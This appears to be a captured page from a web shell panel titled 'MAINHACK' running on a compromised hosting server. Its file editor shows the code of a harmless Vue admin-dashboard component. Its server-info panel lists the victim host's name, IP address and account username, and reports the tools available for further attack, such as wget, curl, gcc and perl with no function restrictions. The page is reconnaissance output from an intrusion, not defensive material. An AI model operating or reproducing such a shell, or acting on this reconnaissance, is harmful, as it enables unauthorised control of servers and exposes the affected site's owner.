[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OverviewComponent.vue
<template> <LoadingComponent :props="loading" /> <div class="mb-9"> <h4 class="font-semibold text-xl mb-3 capitalize text-heading">{{ $t("menu.overview") }}</h4> <div class="row"> <div class="col-12 sm:col-6 xl:col-3"> <div class="bg-admin-pink p-4 rounded-lg flex items-center gap-4"> <div class="w-12 h-12 rounded-full flex items-center justify-center bg-white"> <i class="lab-fill-dollar-circle text-admin-pink text-2xl lab-font-size-24"></i> </div> <div> <h3 class="font-medium tracking-wide capitalize text-white">{{ $t('label.total_earnings') }} </h3> <h4 class="font-semibold text-[22px] leading-[34px] text-white">{{ total_sales }}</h4> </div> </div> </div> <div class="col-12 sm:col-6 xl:col-3"> <div class="bg-primary p-4 rounded-lg flex items-center gap-4"> <div class="w-12 h-12 rounded-full flex items-center justify-center bg-white"> <i class="lab-fill-box text-primary text-2xl lab-font-size-24"></i> </div> <div> <h3 class="font-medium tracking-wide capitalize text-white">{{ $t('label.total_orders') }}</h3> <h4 class="font-semibold text-[22px] leading-[34px] text-white">{{ total_orders }}</h4> </div> </div> </div> <div class="col-12 sm:col-6 xl:col-3"> <div class="bg-admin-purple p-4 rounded-lg flex items-center gap-4"> <div class="w-12 h-12 rounded-full flex items-center justify-center bg-white"> <i class="lab-fill-users text-admin-purple text-2xl lab-font-size-24"></i> </div> <div> <h3 class="font-medium tracking-wide capitalize text-white">{{ $t('label.total_customers') }} </h3> <h4 class="font-semibold text-[22px] leading-[34px] text-white">{{ total_customers }}</h4> </div> </div> </div> <div class="col-12 sm:col-6 xl:col-3"> <div class="bg-admin-blue p-4 rounded-lg flex items-center gap-4"> <div class="w-12 h-12 rounded-full flex items-center justify-center bg-white"> <i class="lab-fill-document text-admin-blue text-2xl lab-font-size-24"></i> </div> <div> <h3 class="font-medium tracking-wide capitalize text-white">{{ $t('label.total_products') }} </h3> <h4 class="font-semibold text-[22px] leading-[34px] text-white">{{ total_products }}</h4> </div> </div> </div> </div> </div> </template> <script> import LoadingComponent from "../components/LoadingComponent"; export default { name: "OverviewComponent", components: { LoadingComponent }, data() { return { loading: { isActive: false, }, total_sales: null, total_orders: null, total_customers: null, total_products: null, }; }, mounted() { this.totalSales(); this.totalOrders(); this.totalCustomers(); this.totalProducts(); }, methods: { totalSales: function () { this.loading.isActive = true; this.$store.dispatch("dashboard/totalSales").then((res) => { this.total_sales = res.data.data.total_sales; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, totalOrders: function () { this.loading.isActive = true; this.$store.dispatch("dashboard/totalOrders").then((res) => { this.total_orders = res.data.data.total_orders; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, totalCustomers: function () { this.loading.isActive = true; this.$store.dispatch("dashboard/totalCustomers").then((res) => { this.total_customers = res.data.data.total_customers; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, totalProducts: function () { this.loading.isActive = true; this.$store.dispatch("dashboard/totalProducts").then((res) => { this.total_products = res.data.data.total_products; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, }, } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285